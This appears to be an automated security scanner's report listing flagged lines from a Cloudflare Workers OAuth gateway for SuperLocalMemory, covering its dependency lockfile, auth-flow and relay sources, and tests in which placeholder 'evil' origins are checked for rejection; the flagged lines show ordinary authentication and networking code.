"version": "4.115.0", "resolved": "https://registry.npmjs.org/wrangler/-/wrangler-4.115.0.tgz", "integrity": "sha512-+upG2VW66M1sjb43yzgUZ6Ss8iYpJ6+7F3U4GF8TY5EYd+08sYdS54d24AEwCnhuef3J9KlSPusqiqR9WYy1UA==", - Network accessline 3990
"resolved": "https://registry.npmjs.org/wrangler/-/wrangler-4.115.0.tgz", - Network accessline 4024
"node_modules/ws": { "version": "8.21.0", "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz", - Network accessline 4025
"version": "8.21.0", "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz", "integrity": "sha512-Vsp28b7DRcimFQvrqu2Wek3z1iYxDCWqHYB8Qsnk/S4RfaCQzPGPyBNuVjJV3cd6UiKtUtp6sNM77gWvzcCH+g==", - Network accessline 4026
"resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz", - Network accessline 4045
"node_modules/xml-name-validator": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", - Network accessline 4046
"version": "5.0.0", "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", - Network accessline 4047
"resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", - Network accessline 4055
"node_modules/xmlchars": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", - Network accessline 4056
"version": "2.2.0", "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", - Network accessline 4057
"resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", - Network accessline 4062
"node_modules/youch": { "version": "4.1.0-beta.10", "resolved": "https://registry.npmjs.org/youch/-/youch-4.1.0-beta.10.tgz", - Network accessline 4063
"version": "4.1.0-beta.10", "resolved": "https://registry.npmjs.org/youch/-/youch-4.1.0-beta.10.tgz", "integrity": "sha512-rLfVLB4FgQneDr0dv1oddCVZmKjcJ6yX6mS4pU82Mq/Dt9a3cLZQ62pDBL4AUO+uVrCvtWz3ZFUL2HFAFJ/BXQ==", - Network accessline 4064
"resolved": "https://registry.npmjs.org/youch/-/youch-4.1.0-beta.10.tgz", - Network accessline 4076
"node_modules/youch-core": { "version": "0.3.3", "resolved": "https://registry.npmjs.org/youch-core/-/youch-core-0.3.3.tgz", - Network accessline 4077
"version": "0.3.3", "resolved": "https://registry.npmjs.org/youch-core/-/youch-core-0.3.3.tgz", "integrity": "sha512-ho7XuGjLaJ2hWHoK8yFnsUGy2Y5uDpqSTq1FkHLK4/oqKtyUU1AFbOOxY4IpC9f0fTLjwYbslUz0Po5BpD1wrA==", - Network accessline 4078
"resolved": "https://registry.npmjs.org/youch-core/-/youch-core-0.3.3.tgz", - Network accessline 4087
"node_modules/zod": { "version": "3.25.76", "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", - Network accessline 4088
"version": "3.25.76", "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==", - Network accessline 4089
"resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", - Network accessline 4092
"license": "MIT", "funding": { "url": "https://github.com/sponsors/colinhacks" - Network accessline 4093
"funding": { "url": "https://github.com/sponsors/colinhacks" } - Network accessline 4094
"url": "https://github.com/sponsors/colinhacks"
integrations/remote-gateway/package.json
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/anonymous-admission.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/auth-flow.ts
- Executable scriptline 1
Executable file - Network accessline 3
export const GITHUB_CALLBACK=AUTH_ISSUER+'/github/callback'; export function githubAuthorizationUrl(clientId:string,state:string,challenge:string):string { const url=new URL('https://github.com/login/oauth/authorize'); - Network accessline 4
export function githubAuthorizationUrl(clientId:string,state:string,challenge:string):string { const url=new URL('https://github.com/login/oauth/authorize'); for(const [key,value] of Object.entries({client_id:clientId,redirect_uri:GITHUB_ - Network accessline 5
const url=new URL('https://github.com/login/oauth/authorize'); - Network accessline 11
if(!code||code.length>4096||!/^[-A-Za-z0-9_.~]{43,128}$/.test(verifier))throw new Error('identity_exchange_failed'); let response:Response; try{response=await fetcher('https://github.com/login/oauth/access_token',{method:'POST',headers:{A - Network accessline 12
let response:Response; try{response=await fetcher('https://github.com/login/oauth/access_token',{method:'POST',headers:{Accept:'application/json','Content-Type':'application/x-www-form-urlencoded','User-Agent':'SuperLocalMemory'},body:new - Network accessline 13
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Possible obfuscationline 23
const PAGE_STYLE = :root{color-scheme:dark;font-family:Inter,ui-sans-serif,system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",sans-serif;background:#0b1020;color:#edf0f7}*{box-sizing:border-box}body{margin:0;min-height:100vh;display:gri - Possible obfuscationline 24
:root{color-scheme:dark;font-family:Inter,ui-sans-serif,system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",sans-serif;background:#0b1020;color:#edf0f7}*{box-sizing:border-box}body{margin:0;min-height:100vh;display:grid;place-items:center - Network accessline 67
[Credential-related source omitted] - Network accessline 68
if(!token||token.length>2048)return undefined; try{const {payload,protectedHeader}=await jwtVerify(token,key,{issuer:AUTH_ISSUER,audience:'slm-dashboard-return',algorithms:['HS256']});const port=payload.port;if(protectedHeader.typ!=='slm-u - Network accessline 69
try{const {payload,protectedHeader}=await jwtVerify(token,key,{issuer:AUTH_ISSUER,audience:'slm-dashboard-return',algorithms:['HS256']});const port=payload.port;if(protectedHeader.typ!=='slm-ui-return'||typeof port!=='number'||!Number.isInt
integrations/remote-gateway/src/authorization-body.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/authorization-policy.ts
- Network accessline 1
import type {AuthRequest} from '@cloudflare/workers-oauth-provider'; import {GRANT_SCOPE_ORDER} from './grant.ts'; export const AUTH_ISSUER='https://auth.superlocalmemory.com'; - Executable scriptline 1
Executable file - Network accessline 2
import {GRANT_SCOPE_ORDER} from './grant.ts'; export const AUTH_ISSUER='https://auth.superlocalmemory.com'; export const MCP_RESOURCE='https://mcp.superlocalmemory.com/mcp'; - Network accessline 3
export const AUTH_ISSUER='https://auth.superlocalmemory.com'; - Network accessline 4
export const MCP_RESOURCE='https://mcp.superlocalmemory.com/mcp'; - Network accessline 31
export async function verifyGithubIdentity(accessToken:string,fetcher:typeof fetch=fetch):Promise<string>{ if(typeof accessToken!=='string'||!accessToken||accessToken.length>4096||/[\r\n]/.test(accessToken))throw new Error('identity_unavai - Network accessline 32
[Credential-related source omitted] - Network accessline 33
[Credential-related source omitted]
integrations/remote-gateway/src/authorization-server.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/bootstrap-do.ts
- Executable scriptline 1
Executable file - Network accessline 10
if(!binding||typeof binding.installationId!=='string'||typeof binding.profileId!=='string'||typeof binding.connectionId!=='string'||!/^[-A-Za-z0-9_]{1,128}$/.test(binding.installationId)||!/^[-A-Za-z0-9_]{1,64}$/.test(binding.profileId)||!/ - Network accessline 11
const auth=binding.authRequest; if(!auth||typeof auth.clientId!=='string'||!auth.clientId||auth.clientId.length>2048||auth.resource!=='https://auth.superlocalmemory.com/owner'||auth.issuer!=='https://auth.superlocalmemory.com'||auth.respon - Network accessline 12
if(!auth||typeof auth.clientId!=='string'||!auth.clientId||auth.clientId.length>2048||auth.resource!=='https://auth.superlocalmemory.com/owner'||auth.issuer!=='https://auth.superlocalmemory.com'||auth.responseType!=='code'||auth.codeChallen - Network accessline 54
return structuredClone(this.record!); } async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});} - Network accessline 55
} async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});} } - Network accessline 56
async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});}
integrations/remote-gateway/src/connector-supervisor.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/contracts.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/credential-lifetime.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/device-index-do.ts
- Executable scriptline 1
Executable file - Network accessline 32
const error=await this.ctx.blockConcurrencyWhile(async()=>{if(this.state.binding?.ownerId!==owner)return 'owner_mismatch';const state={...this.state,revoked:true};await this.ctx.storage.put('device',state);this.state=state;return null;});if - Network accessline 33
} async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});} } - Network accessline 34
async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});}
integrations/remote-gateway/src/device-proof.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/enrollment.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/grant.ts
integrations/remote-gateway/src/issued-token-protocol.ts
- Executable scriptline 1
Executable file - Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 14
[Credential-related source omitted] - Access to secretsline 15
[Credential-related source omitted] - Network accessline 16
if(!summary||!props||typeof props!=='object'||typeof props.ownerId!=='string'||summary.userId!==props.ownerId||typeof props.connectionId!=='string'||!Number.isSafeInteger(summary.expiresAt)||summary.expiresAt<=Date.now()/1000)throw new Erro - Network accessline 17
const audience=typeof summary.audience==='string'?summary.audience:null; if(audience!=='https://mcp.superlocalmemory.com/mcp'&&audience!=='https://auth.superlocalmemory.com/owner')throw new Error('token_record_unavailable'); const authori - Network accessline 18
if(audience!=='https://mcp.superlocalmemory.com/mcp'&&audience!=='https://auth.superlocalmemory.com/owner')throw new Error('token_record_unavailable'); - Access to secretsline 22
[Credential-related source omitted]
integrations/remote-gateway/src/issuer-protocol.ts
- Executable scriptline 1
Executable file - Possible obfuscationline 25
const auth=request.headers.get('Authorization');if(auth?.startsWith('Basic ')){try{const decoded=atob(auth.slice(6));const separator=decoded.indexOf(':');return separator>=0?decodeURIComponent(decoded.slice(0,separator)):null;}catch{return - Network accessline 29
* Protocol parsing and credential validation remain owned by the maintained SDK. */ export async function issuerProtocol(request:Request,env:IssuerEnv,ctx:ExecutionContext):Promise<Response>{ if(new URL(request.url).pathname!=='/oauth/toke - Network accessline 30
export async function issuerProtocol(request:Request,env:IssuerEnv,ctx:ExecutionContext):Promise<Response>{ if(new URL(request.url).pathname!=='/oauth/token'||request.method!=='POST')return authorizationServer.fetch(request,env,ctx); if(D - Network accessline 31
if(new URL(request.url).pathname!=='/oauth/token'||request.method!=='POST')return authorizationServer.fetch(request,env,ctx); - Network accessline 32
if(Date.now()>=nextCleanupAt){nextCleanupAt=Date.now()+60000;ctx.waitUntil(retryProviderCleanup(env,authorizationServer.getOAuthApi(env)));} if(request.headers.get('Content-Type')?.split(';')[0]!=='application/x-www-form-urlencoded')return - Network accessline 33
if(request.headers.get('Content-Type')?.split(';')[0]!=='application/x-www-form-urlencoded')return authorizationServer.fetch(request,env,ctx); - Network accessline 38
let ref:IndexedToken|null=null; if(lookupValue){ref=await indexedToken(lookupValue,env);if(refresh&&(!ref||ref.revoked||ref.tokenKind!=='refresh'))return failed(400,'invalid_grant');} const response=await authorizationServer.fetch(request - Network accessline 39
if(lookupValue){ref=await indexedToken(lookupValue,env);if(refresh&&(!ref||ref.revoked||ref.tokenKind!=='refresh'))return failed(400,'invalid_grant');} const response=await authorizationServer.fetch(request,env,ctx);if(!response.ok)return - Network accessline 40
const response=await authorizationServer.fetch(request,env,ctx);if(!response.ok)return response; - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted]
integrations/remote-gateway/src/local-connector.ts
integrations/remote-gateway/src/mcp-http.ts
integrations/remote-gateway/src/node-connector.mjs
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/owner-control.ts
- Executable scriptline 1
Executable file - Access to secretsline 70
[Credential-related source omitted] - Network accessline 132
} export async function ownerControlFetch(request:Request,env:OwnerControlEnv,_ctx:ExecutionContext):Promise<Response>{ const url=new URL(request.url);if(url.origin!=='https://auth.superlocalmemory.com'||!OWNER_CONTROL_PATHS.includes(url.p - Network accessline 133
export async function ownerControlFetch(request:Request,env:OwnerControlEnv,_ctx:ExecutionContext):Promise<Response>{ const url=new URL(request.url);if(url.origin!=='https://auth.superlocalmemory.com'||!OWNER_CONTROL_PATHS.includes(url.pat - Network accessline 134
const url=new URL(request.url);if(url.origin!=='https://auth.superlocalmemory.com'||!OWNER_CONTROL_PATHS.includes(url.pathname))return result(404,{error:'not_found'}); - Network accessline 137
[Credential-related source omitted] - Network accessline 138
try{ const principal=await validateIndexedToken('https://auth.superlocalmemory.com/owner',token,env); if(!principal||!('kind' in principal.props)||principal.props.kind!=='native'||!principal.scope.includes('slm:connect'))return result(4 - Network accessline 139
const principal=await validateIndexedToken('https://auth.superlocalmemory.com/owner',token,env);
integrations/remote-gateway/src/owner-index-do.ts
- Executable scriptline 1
Executable file - Network accessline 89
}); } async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});} - Network accessline 90
} async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});} } - Network accessline 91
async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});}
integrations/remote-gateway/src/owner-selection.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/provider-cleanup.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/prune-owner-connections.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/registry-do.ts
- Executable scriptline 1
Executable file - Network accessline 39
if(![a.consentedCorrection,a.consentedSharedRead,a.consentedGlobalRead].every(x=>typeof x==='boolean'))return false; if(a.providerGrantRef&&![a.providerGrantRef.userId,a.providerGrantRef.grantId].every(id))return false; return a.audienc - Network accessline 40
if(a.providerGrantRef&&![a.providerGrantRef.userId,a.providerGrantRef.grantId].every(id))return false; return a.audience==='https://mcp.superlocalmemory.com/mcp'; } - Network accessline 41
return a.audience==='https://mcp.superlocalmemory.com/mcp'; - Network accessline 190
}); } async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});} - Network accessline 191
} async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});} } - Network accessline 192
async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});}
integrations/remote-gateway/src/relay-do.ts
- Executable scriptline 1
Executable file - Possible obfuscationline 34
const binary=atob(text);const bytes=new Uint8Array(binary.length); - Access to secretsline 86
[Credential-related source omitted] - Network accessline 141
} } async fetch(request: Request): Promise<Response> { - Network accessline 142
} async fetch(request: Request): Promise<Response> { if(new URL(request.url).pathname!=="/connector")return failure(404,"not_found"); - Network accessline 143
async fetch(request: Request): Promise<Response> {
integrations/remote-gateway/src/relay-errors.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/relay-protocol.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/request-policy.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/token-index-do.ts
- Executable scriptline 1
Executable file - Network accessline 7
function valid(ref:IssuedTokenReference):boolean { if(!ref||!digest(ref.tokenDigest)||!['access','refresh'].includes(ref.tokenKind)||![ref.ownerId,ref.authorizationId,ref.connectionId].every(id)||!client(ref.clientId))return false; if(! - Network accessline 8
if(!ref||!digest(ref.tokenDigest)||!['access','refresh'].includes(ref.tokenKind)||![ref.ownerId,ref.authorizationId,ref.connectionId].every(id)||!client(ref.clientId))return false; if(!['https://mcp.superlocalmemory.com/mcp','https://auth - Network accessline 9
if(!['https://mcp.superlocalmemory.com/mcp','https://auth.superlocalmemory.com/owner'].includes(ref.audience)||typeof ref.validUntil!=='string'||ref.validUntil.length>32)return false; - Network accessline 41
}); } async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});} - Network accessline 42
} async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});} } - Network accessline 43
async fetch(_request:Request):Promise<Response>{return new Response('not_found',{status:404});}
integrations/remote-gateway/src/upload-gateway.ts
- Executable scriptline 1
Executable file - Network accessline 9
* laptop as relay request frames. The gateway keeps no copy of the file and never decides whether the token is good: the laptop does. */ export interface UploadEnv {RELAYS:DurableObjectNamespace<RelayDO>;REGISTRIES:DurableObjectNamespace<Re - Network accessline 11
export const SELF_ORIGIN='https://mcp.superlocalmemory.com';
integrations/remote-gateway/src/upload-page.ts
- Executable scriptline 1
Executable file - Network accessline 28
file.addEventListener('change',function(){var f=file.files[0];save.disabled=!f;if(f&&f.size>MAX){save.disabled=true;say('That file is too large. The limit is '+MB+' MB.',true);}else{say('',false);}}); save.addEventListener('click',async fun - Network accessline 29
save.addEventListener('click',async function(){var f=file.files[0];if(!f)return;save.disabled=true;file.disabled=true;say('Saving. Keep this page open until it says Saved.',false); try{var r=await fetch(location.pathname,{method:'POST',body - Network accessline 30
try{var r=await fetch(location.pathname,{method:'POST',body:f,headers:{'Content-Type':'application/octet-stream'},credentials:'omit',referrerPolicy:'no-referrer',cache:'no-store'});var j=await r.json();
integrations/remote-gateway/src/upload-protocol.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/usage-limit.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/src/worker-auth.ts
- Executable scriptline 1
Executable file - Access to secretsline 19
[Credential-related source omitted] - Network accessline 30
headers.set('Content-Security-Policy',"default-src 'none'; style-src 'nonce-"+nonce+"'; form-action 'self' https://github.com"+destination+"; frame-ancestors 'none'; base-uri 'none'"); - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted] - Network accessline 196
} export default class AuthWorker extends WorkerEntrypoint<AuthWorkerEnv>{ fetch(request:Request):Promise<Response>{return authFetch(request,this.env,this.ctx);} - Network accessline 197
[Credential-related source omitted] - Network accessline 198
fetch(request:Request):Promise<Response>{return authFetch(request,this.env,this.ctx);}
integrations/remote-gateway/src/worker-authority.ts
- Executable scriptline 1
Executable file - Network accessline 6
export {BootstrapDO} from './bootstrap-do.ts'; export {DeviceIndexDO} from './device-index-do.ts'; export default {fetch(){return new Response('not_found',{status:404});}}; - Network accessline 8
export default {fetch(){return new Response('not_found',{status:404});}};
integrations/remote-gateway/src/worker-connect.ts
- Executable scriptline 1
Executable file - Network accessline 5
import type {RelayDO} from './relay-do.ts'; export interface ConnectEnv {DEVICES:DurableObjectNamespace<DeviceIndexDO>;OWNERS:DurableObjectNamespace<OwnerIndexDO>;RELAYS:DurableObjectNamespace<RelayDO>;} const ENDPOINT='https://connect.supe - Network accessline 7
const ENDPOINT='https://connect.superlocalmemory.com/connector'; - Network accessline 22
const current=await env.OWNERS.getByName(binding.ownerId).getConnection(binding.ownerId,binding.connectionId); if(!current||current.revokedAt!==null||current.deviceDigest!==digest||current.deviceJkt!==binding.deviceJkt||current.installati - Network accessline 23
if(!current||current.revokedAt!==null||current.deviceDigest!==digest||current.deviceJkt!==binding.deviceJkt||current.installationId!==binding.installationId||current.profileId!==binding.profileId||current.deviceExpiresAtMs<=Date.now())retur - Network accessline 24
[Credential-related source omitted]
integrations/remote-gateway/src/worker-resource.ts
- Executable scriptline 1
Executable file - Network accessline 11
export {RegistryDO,RelayDO}; export const RESOURCE='https://mcp.superlocalmemory.com/mcp'; - Network accessline 12
export const RESOURCE='https://mcp.superlocalmemory.com/mcp'; - Network accessline 13
export const ISSUER='https://auth.superlocalmemory.com'; - Network accessline 85
}); export const resourceGateway={ async fetch(request:Request,env:ResourceEnv,context:ExecutionContext):Promise<Response>{ - Network accessline 86
export const resourceGateway={ async fetch(request:Request,env:ResourceEnv,context:ExecutionContext):Promise<Response>{ if(new URL(request.url).origin!==new URL(RESOURCE).origin)return failure(403,'host_denied'); - Network accessline 87
async fetch(request:Request,env:ResourceEnv,context:ExecutionContext):Promise<Response>{ - Network accessline 90
const upload=await handleUpload(request,env); if(upload)return upload; return protectedResource.fetch(request,env,context); - Network accessline 91
if(upload)return upload; return protectedResource.fetch(request,env,context); }, - Network accessline 92
return protectedResource.fetch(request,env,context);
integrations/remote-gateway/tests/auth-flow.test.mjs
- Executable scriptline 1
Executable file - Network accessline 4
test('GitHub authorization URL binds exact callback, S256 and library state',()=>{ const url=new URL(githubAuthorizationUrl('client','safe-state','a'.repeat(43))); assert.equal(url.origin,'https://github.com');assert.equal(url.searchParam - Network accessline 5
const url=new URL(githubAuthorizationUrl('client','safe-state','a'.repeat(43))); assert.equal(url.origin,'https://github.com');assert.equal(url.searchParams.get('redirect_uri'),'https://auth.superlocalmemory.com/github/callback');assert.eq - Network accessline 6
assert.equal(url.origin,'https://github.com');assert.equal(url.searchParams.get('redirect_uri'),'https://auth.superlocalmemory.com/github/callback');assert.equal(url.searchParams.get('code_challenge_method'),'S256');assert.equal(url.searchP - Network accessline 8
test('GitHub code exchange uses exact endpoint and denies redirect',async()=>{ let call;const result=await exchangeGithubCode('client','synthetic-secret','synthetic-code','a'.repeat(43),async(url,options)=>{call={url,options};return Respon - Network accessline 9
[Credential-related source omitted] - Access to secretsline 9
[Credential-related source omitted] - Network accessline 10
[Credential-related source omitted] - Access to secretsline 10
[Credential-related source omitted] - Network accessline 11
assert.equal(call.options.body.get('redirect_uri'),'https://auth.superlocalmemory.com/github/callback'); - Network accessline 21
test('dashboard recovery receipt only routes to an authenticated loopback port, never grants access',async()=>{ const {dashboardReturnCookie,dashboardReturnUrl}=await import('../src/auth-flow.ts');const key='a'.repeat(64); const cookie=aw - Network accessline 22
const {dashboardReturnCookie,dashboardReturnUrl}=await import('../src/auth-flow.ts');const key='a'.repeat(64); const cookie=await dashboardReturnCookie('http://127.0.0.1:18767/api/v3/connections/callback',key);assert.ok(cookie.includes('Ht - Network accessline 23
const cookie=await dashboardReturnCookie('http://127.0.0.1:18767/api/v3/connections/callback',key);assert.ok(cookie.includes('HttpOnly'));assert.ok(cookie.includes('Secure'));const request=new Request('https://auth.superlocalmemory.com/sign - Network accessline 24
assert.equal(await dashboardReturnUrl(request,key),'http://127.0.0.1:18767/#mcp-pane');assert.equal(await dashboardReturnUrl(request,'b'.repeat(64)),undefined);assert.equal(await dashboardReturnCookie('https://evil.example/callback',key),nu - Network accessline 35
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted]
integrations/remote-gateway/tests/authorization-policy.test.mjs
- Executable scriptline 1
Executable file - Network accessline 2
import assert from 'node:assert/strict'; import { validateAuthorizationRequest, selectedScopes, ticked, verifyGithubIdentity } from '../src/authorization-policy.ts'; const request={issuer:'https://auth.superlocalmemory.com',resource:'https: - Network accessline 3
import { validateAuthorizationRequest, selectedScopes, ticked, verifyGithubIdentity } from '../src/authorization-policy.ts'; const request={issuer:'https://auth.superlocalmemory.com',resource:'https://mcp.superlocalmemory.com/mcp',responseT - Network accessline 4
const request={issuer:'https://auth.superlocalmemory.com',resource:'https://mcp.superlocalmemory.com/mcp',responseType:'code',clientId:'client',redirectUri:'https://client.example/callback',scope:['slm:read'],state:'state',codeChallenge:'a' - Network accessline 5
test('requires S256 and exact configured resource',()=>{ assert.equal(validateAuthorizationRequest(request),true); for(const change of [{codeChallengeMethod:'plain'},{codeChallenge:undefined},{resource:'https://evil.example'},{scope:['slm - Network accessline 6
assert.equal(validateAuthorizationRequest(request),true); for(const change of [{codeChallengeMethod:'plain'},{codeChallenge:undefined},{resource:'https://evil.example'},{scope:['slm:connect']},{scope:[]},{scope:['slm:read','invented']}])as - Network accessline 7
for(const change of [{codeChallengeMethod:'plain'},{codeChallenge:undefined},{resource:'https://evil.example'},{scope:['slm:connect']},{scope:[]},{scope:['slm:read','invented']}])assert.equal(validateAuthorizationRequest({...request,...chan - Network accessline 8
}); test('native owner scope cannot become memory scope',()=>{ assert.equal(validateAuthorizationRequest({...request,resource:'https://auth.superlocalmemory.com/owner',scope:['slm:connect']}),true); - Network accessline 9
test('native owner scope cannot become memory scope',()=>{ assert.equal(validateAuthorizationRequest({...request,resource:'https://auth.superlocalmemory.com/owner',scope:['slm:connect']}),true); assert.equal(validateAuthorizationRequest({ - Network accessline 10
assert.equal(validateAuthorizationRequest({...request,resource:'https://auth.superlocalmemory.com/owner',scope:['slm:connect']}),true); - Network accessline 11
assert.equal(validateAuthorizationRequest({...request,resource:'https://auth.superlocalmemory.com/owner',scope:['slm:connect','slm:read']}),false); - Network accessline 18
const calls=[];const fetcher=async(url,options)=>{calls.push({url,options});return Response.json({id:16027584,login:'varun369'});}; assert.equal(await verifyGithubIdentity('synthetic-token',fetcher), '16027584'); assert.equal(calls[0].url - Network accessline 19
assert.equal(await verifyGithubIdentity('synthetic-token',fetcher), '16027584'); assert.equal(calls[0].url,'https://api.github.com/user'); assert.equal(calls[0].options.redirect,'manual'); - Network accessline 20
assert.equal(calls[0].url,'https://api.github.com/user'); - Network accessline 34
assert.deepEqual(narrowed.scope,['slm:read','slm:write','slm:session']);assert.equal(validateAuthorizationRequest(narrowed),true); assert.deepEqual(original.scope,['slm:read','slm:write','slm:session','slm:connect']); for(const change of - Network accessline 35
assert.deepEqual(original.scope,['slm:read','slm:write','slm:session','slm:connect']); for(const change of [{scope:['slm:connect']},{scope:['slm:read','invented']},{scope:['slm:read','slm:connect','slm:connect']},{resource:'https://auth.su - Network accessline 36
for(const change of [{scope:['slm:connect']},{scope:['slm:read','invented']},{scope:['slm:read','slm:connect','slm:connect']},{resource:'https://auth.superlocalmemory.com/owner'},{codeChallengeMethod:'plain'}])assert.equal(memoryAuthorizati
integrations/remote-gateway/tests/bounded-authorization-body.test.mjs
- Executable scriptline 1
Executable file - Network accessline 4
let cancelled=false; const stream=new ReadableStream({start(c){c.enqueue(new Uint8Array(16384));c.enqueue(new Uint8Array(1));},cancel(){cancelled=true;}}); await assert.rejects(readAuthorizationBody(new Request('https://auth.example',{met - Network accessline 5
const stream=new ReadableStream({start(c){c.enqueue(new Uint8Array(16384));c.enqueue(new Uint8Array(1));},cancel(){cancelled=true;}}); await assert.rejects(readAuthorizationBody(new Request('https://auth.example',{method:'POST',body:stream - Network accessline 6
await assert.rejects(readAuthorizationBody(new Request('https://auth.example',{method:'POST',body:stream,duplex:'half'})),/body_too_large/);assert(cancelled); - Network accessline 9
let cancelled=false; const stream=new ReadableStream({cancel(){cancelled=true;}}); await assert.rejects(readAuthorizationBody(new Request('https://auth.example',{method:'POST',body:stream,duplex:'half'}),{timeoutMs:10}),/body_timeout/);as - Network accessline 10
const stream=new ReadableStream({cancel(){cancelled=true;}}); await assert.rejects(readAuthorizationBody(new Request('https://auth.example',{method:'POST',body:stream,duplex:'half'}),{timeoutMs:10}),/body_timeout/);assert(cancelled); }); - Network accessline 11
await assert.rejects(readAuthorizationBody(new Request('https://auth.example',{method:'POST',body:stream,duplex:'half'}),{timeoutMs:10}),/body_timeout/);assert(cancelled); - Network accessline 12
}); test('strict UTF8 rejects malformed byte sequences',async()=>{ await assert.rejects(readAuthorizationBody(new Request('https://auth.example',{method:'POST',body:new Uint8Array([255])})),/invalid_body/); - Network accessline 13
test('strict UTF8 rejects malformed byte sequences',async()=>{ await assert.rejects(readAuthorizationBody(new Request('https://auth.example',{method:'POST',body:new Uint8Array([255])})),/invalid_body/); }); - Network accessline 14
await assert.rejects(readAuthorizationBody(new Request('https://auth.example',{method:'POST',body:new Uint8Array([255])})),/invalid_body/);
integrations/remote-gateway/tests/connector-supervisor.test.mjs
- Executable scriptline 1
Executable file - Network accessline 5
const delay=ms=>new Promise(r=>setTimeout(r,ms)); class Socket extends EventEmitter {sent=[];dead=false;bufferedAmount=0;send(x){this.sent.push(x);}terminate(){if(!this.dead){this.dead=true;this.emit('close');}}} const enrollment=()=>({endp - Network accessline 6
class Socket extends EventEmitter {sent=[];dead=false;bufferedAmount=0;send(x){this.sent.push(x);}terminate(){if(!this.dead){this.dead=true;this.emit('close');}}} const enrollment=()=>({endpoint:'wss://connect.superlocalmemory.com/connector - Network accessline 7
[Credential-related source omitted] - Network accessline 19
test('binary frames terminate connection',async()=>{const s=setup();await s.supervisor.start();s.sockets[0].emit('message',Buffer.from('malformed'),true);assert.equal(s.sockets[0].dead,true);s.supervisor.stop();}); test('invalid timing is r - Network accessline 20
test('invalid timing is rejected',()=>{for(const retryMs of [0,-1,0.5,Infinity,60001])assert.throws(()=>setup({retryMs}));}); test('bad local configuration never waits for remote ready',async()=>{const s=setup({loadEnrollment:async()=>({... - Network accessline 21
test('bad local configuration never waits for remote ready',async()=>{const s=setup({loadEnrollment:async()=>({...enrollment(),origin:'http://evil.com/mcp/'})});await s.supervisor.start();assert.equal(s.states.at(-1),'configuration_error');
integrations/remote-gateway/tests/connector-wire.test.mjs
- Executable scriptline 1
Executable file - Network accessline 11
const server=createServer();server.listen(0,'127.0.0.1');await once(server,'listening'); const states=[]; const supervisor=new ConnectorSupervisor({enabled:true,loadEnrollment:async()=>({endpoint:'wss://connect.superlocalmemory.com/conn - Network accessline 12
const states=[]; const supervisor=new ConnectorSupervisor({enabled:true,loadEnrollment:async()=>({endpoint:'wss://connect.superlocalmemory.com/connector',deviceToken:'d'.repeat(40),expiresAt:Date.now()+60000,origin:'http://evil.invalid/mc - Network accessline 13
